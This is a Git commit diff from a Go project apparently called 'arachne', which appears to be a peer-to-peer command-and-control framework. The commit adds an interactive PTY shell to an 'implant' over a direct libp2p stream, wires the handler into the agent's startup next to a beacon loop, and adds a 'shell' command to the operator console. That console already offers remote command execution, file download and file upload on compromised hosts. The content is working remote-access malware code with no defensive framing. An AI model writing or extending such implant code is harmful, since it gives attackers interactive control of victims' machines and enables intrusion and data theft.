interactive shell with PTY over direct libp2p stream

This commit is contained in:
portbuster
2026-06-03 04:27:16 +08:00
parent da7f187fd8
commit 99391e3a2a
7 changed files with 109 additions and 1 deletions
+3 -1
View File
@@ -17,6 +17,7 @@ require (
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/containerd/cgroups v1.1.0 // indirect
github.com/coreos/go-systemd/v22 v22.5.0 // indirect
github.com/creack/pty v1.1.24 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c // indirect
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.3.0 // indirect
@@ -129,7 +130,8 @@ require (
golang.org/x/mod v0.20.0 // indirect
golang.org/x/net v0.28.0 // indirect
golang.org/x/sync v0.8.0 // indirect
golang.org/x/sys v0.24.0 // indirect
golang.org/x/sys v0.25.0 // indirect
golang.org/x/term v0.24.0 // indirect
golang.org/x/text v0.17.0 // indirect
golang.org/x/tools v0.24.0 // indirect
gonum.org/v1/gonum v0.13.0 // indirect
+6
View File
@@ -33,6 +33,8 @@ github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s=
github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -562,6 +564,8 @@ golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
@@ -569,6 +573,8 @@ golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU=
golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY=
golang.org/x/term v0.24.0 h1:Mh5cbb+Zk2hqqXNO7S1iTjEphVL+jb8ZWaqh/g+JWkM=
golang.org/x/term v0.24.0/go.mod h1:lOBK/LVxemqiMij05LGJ0tzNr8xlmwBRJ81PX6wVLH8=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+2
View File
@@ -141,6 +141,8 @@ func (a *Agent) Start() error {
go a.discoverOperatorLoop(ns)
}
a.node.SetStreamHandler(transport.ShellProtocolID, a.handleShellStream)
go a.beaconLoop()
return nil
+48
View File
@@ -0,0 +1,48 @@
package core
import (
"io"
"log"
"os"
"os/exec"
"runtime"
"github.com/creack/pty"
"github.com/libp2p/go-libp2p/core/network"
)
func (a *Agent) handleShellStream(s network.Stream) {
remotePeer := s.Conn().RemotePeer()
log.Printf("[implant] shell stream opened from %s", remotePeer.String())
shell := shellPath()
cmd := exec.Command(shell)
cmd.Env = append(os.Environ(), "TERM=xterm-256color")
f, err := pty.StartWithSize(cmd, &pty.Winsize{Rows: 30, Cols: 120})
if err != nil {
log.Printf("[implant] pty start: %v", err)
return
}
defer f.Close()
go func() {
io.Copy(f, s)
}()
io.Copy(s, f)
log.Printf("[implant] shell stream closed from %s", remotePeer.String())
}
func shellPath() string {
switch runtime.GOOS {
case "windows":
return "cmd.exe"
default:
sh, ok := os.LookupEnv("SHELL")
if ok {
return sh
}
return "/bin/sh"
}
}
+2
View File
@@ -23,6 +23,8 @@ import (
const (
ArachneProtocolID protocol.ID = "/arachne/1.0.0"
ShellProtocolID protocol.ID = "/arachne/shell/1.0.0"
SocksProtocolID protocol.ID = "/arachne/socks/1.0.0"
CommandTopicPrefix string = "/arachne/"
BeaconTopicPrefix string = "/arachne/"
TaskTopicPrefix string = "/arachne/"
+11
View File
@@ -48,6 +48,7 @@ func (o *Operator) RunCLI() {
fmt.Println(" ls <path> — list directory")
fmt.Println(" cd <path> — change directory")
fmt.Println(" pwd — print working directory")
fmt.Println(" shell — interactive shell (direct stream)")
fmt.Println(" exec <cmd> [args] — execute command (with output)")
fmt.Println(" download <path> — download file from implant")
fmt.Println(" upload <src> <dst> — upload file to implant")
@@ -136,6 +137,16 @@ func (o *Operator) RunCLI() {
fmt.Println("command sent")
}
case "shell":
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
fmt.Printf("opening shell to %s@%s...\n", selected.Name, selected.Hostname)
if err := o.OpenShell(selected.PeerID); err != nil {
fmt.Printf("shell error: %v\n", err)
}
case "download":
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
+37
View File
@@ -3,13 +3,17 @@ package core
import (
"context"
"fmt"
"io"
"log"
"os"
"sync"
"time"
"golang.org/x/term"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
"google.golang.org/protobuf/proto"
@@ -369,6 +373,39 @@ func (o *Operator) Upload(implantPeerID string, path string, data []byte) error
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeUpload, req)
}
func (o *Operator) OpenShell(implantPeerID string) error {
pid, err := peer.Decode(implantPeerID)
if err != nil {
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
}
s, err := o.node.NewStream(o.ctx, pid, transport.ShellProtocolID)
if err != nil {
return fmt.Errorf("open shell stream to %s: %w", implantPeerID, err)
}
defer s.Close()
oldState, err := term.MakeRaw(int(os.Stdin.Fd()))
if err != nil {
return fmt.Errorf("raw terminal: %w", err)
}
defer term.Restore(int(os.Stdin.Fd()), oldState)
errCh := make(chan error, 2)
go func() {
_, err := io.Copy(s, os.Stdin)
errCh <- err
}()
go func() {
_, err := io.Copy(os.Stdout, s)
errCh <- err
}()
<-errCh
return nil
}
func (o *Operator) Close() error {
o.cancel()
return o.node.Close()